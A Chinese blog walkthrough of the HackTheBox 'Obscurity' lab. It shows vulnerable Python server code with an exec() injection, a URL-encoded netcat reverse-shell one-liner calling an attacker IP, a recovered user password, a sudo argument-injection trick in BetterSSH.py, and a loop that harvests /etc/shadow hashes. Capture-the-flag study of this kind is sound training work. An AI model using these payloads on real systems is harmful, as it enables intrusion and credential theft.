HTB-Obscurity

文章详细描述了在HTB-Obscurity靶场中,通过8080端口进行信息收集,包括网站指纹识别、目录遍历、文件名模糊测试等步骤。作者发现了Pythonweb服务器的潜在漏洞,通过构造特定输入控制ServeDoc函数中的exec执行,最终实现了sudo注入,以robert用户身份获取root权限。此外,还提到了利用日志文件权限获取敏感信息的尝试。
摘要由CSDN通过智能技术生成

在这里插入图片描述

信息收集

在这里插入图片描述

8080端口

在这里插入图片描述
”如果攻击者不知道你在使用什么软件,你就不会被黑客攻击!“,目标对web的指纹做了某些处理。
在这里插入图片描述

“‘SuperSecureServer.py’ in the secret development directory”,接下来我们试试寻找这个秘密开发目录在哪里。
在这里插入图片描述
因为网站做了处理,所以目录扫描没法获取更多信息。尝试对SuperSecureServer.py’进行FUZZ。很显然失败了。
在这里插入图片描述
现在收集已有的词汇信息做一个字典来试试。目前我们有的词汇:

dev
develop
development
devs
security
secure
secret

然后对表进行首字母大写、全大写做一个小字典。

在这里插入图片描述
在这里插入图片描述

查看网站源码。
在这里插入图片描述

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, 0client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

其中在serveDoc函数中有两句有注释的代码,并且还有exec函数。这意味着找到什么地方传进来的path,如果能控制path的值那这个exec函数就十分危险。

 info = "output = 'Document: {}'"	 # Keep the output for later debug
 exec(info.format(path))			 # This is how you do string formatting, right?

serveDoc接收一个path参数,再对path进行处理得到新的path。

path = urllib.parse.unquote(path)

urllib.parse会解析url地址。
在这里插入图片描述
urllib.parse.unquote会解析url编码过后的url地址。
在这里插入图片描述

handleRequest里面调用了serveDoc,跟进handleRequest函数看看。

def handleRequest(self, request, conn, address):
        if request.good:-
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]

需要request.good为真才会有可能控制,为假就直接写入/errors/400.html了。跟进后发现listenToClient函数。

  def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)//处于一个无限循环中
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

跟进listenToClientclass Server

class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept() #accept()接收客户端的请求并返回一个套接字给client,连接地址给address。
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()   

OK最后一步找到定义的位置。

class Request:
    def __init__(self, request):
        self.good = True 						#一来self.good为真
        try:
            request = self.parseRequest(request)       
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]    #对method、doc、vers、header、body进行获取,如果是正确的格式就不会让self.good改变。
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

OK让我们再来梳理一遍,我们想控制serveDoc函数里面的exec(info.format(path)),path就是我们的url地址;那么是谁调用了serveDoc,是handleRequest,在handleRequest函数中需要满足request.good为真才能完成调用;那么又是谁调用了handleRequest以及是谁在控制request.good,是listenToClient调用了handleRequest,并且通过Request类来控制request.good,所以我们只要保证数据该有啥有啥就行了。

现在来测试一下
info = “output = ‘Document: {}’” # Keep the output for later debug
exec(info.format(path))

在这里插入图片描述

经过不断地调整找到了注入代码。

在这里插入图片描述

立足

ping 测试成功。
在这里插入图片描述

rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>&1|nc%2010.10.14.31%204443%20>/tmp/f

在这里插入图片描述

www-data -> robert

在robertde家目录下有几个很有意思的文件。
在这里插入图片描述

check.txt
在这里插入图片描述
用我的key通过SuperSecureCrypt.py加密check.txt后会产生out.txt。
在这里插入图片描述

相当于check.txt + KEY -> SuperSecureCrypt.py= out.txt。我们都知道了其中三个,那这个key应该能很好推出来。
在这里插入图片描述
明文-钥匙的ASCII码小于255,因为我们明文中最大的字符是y,ASCII码是121。而key的ASCII码有三种可能,每一种都不会超过255,所以就相当于chr(ord(newChr) + ord(keyChr))
在这里插入图片描述
查看发现因为负数,chr无法处理。
在这里插入图片描述
加上绝对值

在这里插入图片描述
似乎这一长串就是key。

alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal

在这里插入图片描述

robert:SecThruObsFTW

在这里插入图片描述

robert -> root

sudo 注入

id有adm组,adm组允许访问/var/log日志文件,有时候可能会导致有些日志文件泄露敏感信息。
在这里插入图片描述

在这里插入图片描述
查看一下BetterSSH.py的权限呢。
在这里插入图片描述

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
#生成8位随机小写大写数字组合的字符串
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")
	#获取user和passW
    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    #获取拥有密码的用户并将用户密码给data,其中包括很多为空的信息。
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)
            #把data中空的信息过滤掉并附加到passwords中。

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    #对passwords的内容再次进行处理,每一个数据之间添加一个\n,。同一用户之间数据会有一个换行符相隔,不同用户数据会有多个换行符。
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
       	#在/tmp/SSH目录下创建一个以上面path生成的字符串为名的文档,并将处理好的内容写进去。
    time.sleep(.1)	#系统挂起0.1秒
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:] #如果p[0]和前面我们输入的user一致才能进入此句,密码哈希的盐和密码分开存储。
            break

    if salt == "":				#盐为空代表没密码,进行清理工作并退出。
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
        
    salt = '$6$'+salt+'$'		#重新修改hash类型,$6$为sha512crypt。
    realPass = salt + realPass	#重新组装密码hash

    hash = crypt.crypt(passW, salt)	#调用crypt对我们输入的密码用新盐进行加密。

    if hash == realPass:		#如果我们输入的密码通过加密后等于前面获取的/etc/shadows的hash则完成验证。
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")		#后面就是验证失败的处理方法
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))						#将command和sudo -u root command拼装一起。
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
                 

大致了解完脚本的工作方式后脑子里应该有一个初步的进攻模型了,先寻找我们能够控制的地方。

  • session[‘user’] = input("Enter username: ")中的user
  • passW = input("Enter password: ")中的passW

user第一次使用是在 if p[0] == session['user']:,第二次是在完成hash验证后使用。passW在 hash = crypt.crypt(passW, salt)中被使用。可能性最大的应该是user,passW就只被用来加密,而user可以被用来拼接输入的命令的cmd = ['sudo', '-u', session['user']]

运行程序看看。
在这里插入图片描述
发现没有/tmp/SSH文件。

在这里插入图片描述
创建好文件后并使用robert凭证验证。
在这里插入图片描述
来想想怎么注入sudo,最容易想到应该就是下图这样的吧。
在这里插入图片描述
要注入sudo的锁是 if p[0] == session['user']:看了一下python的文档,貌似没有像php弱等于的问题。是时候跳出兔子洞了。再次回头会发现有第三个输入点。就是command。

在这里插入图片描述
原本是sudo -u robert command,我们输入 id;sudo -u root id,来组成sudo -u robert id;sudo -u root id。
在这里插入图片描述

脚本不支持分号连接语句。
在这里插入图片描述
经过测试发现sudo -u kali id root可以使用root权限来执行id。

在这里插入图片描述
并且发现是按id后面的用户来执行对应权限。

在这里插入图片描述
但是这个有一个问题,只支持没有参数的命令,不然会把root当作扩展。
在这里插入图片描述
改成-u root id也能成功,但是在攻击机上无法完成。
在这里插入图片描述

在这里插入图片描述

hash捕获

当我们输入的密码没有通过验证后,就会将生成在/tmp/SSH的某个文件删除,那个文件存有重新处理过的/etc/shadow内容。
在这里插入图片描述

while true;do cat * /tmp/SSH >> /tmp/shadow;done

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值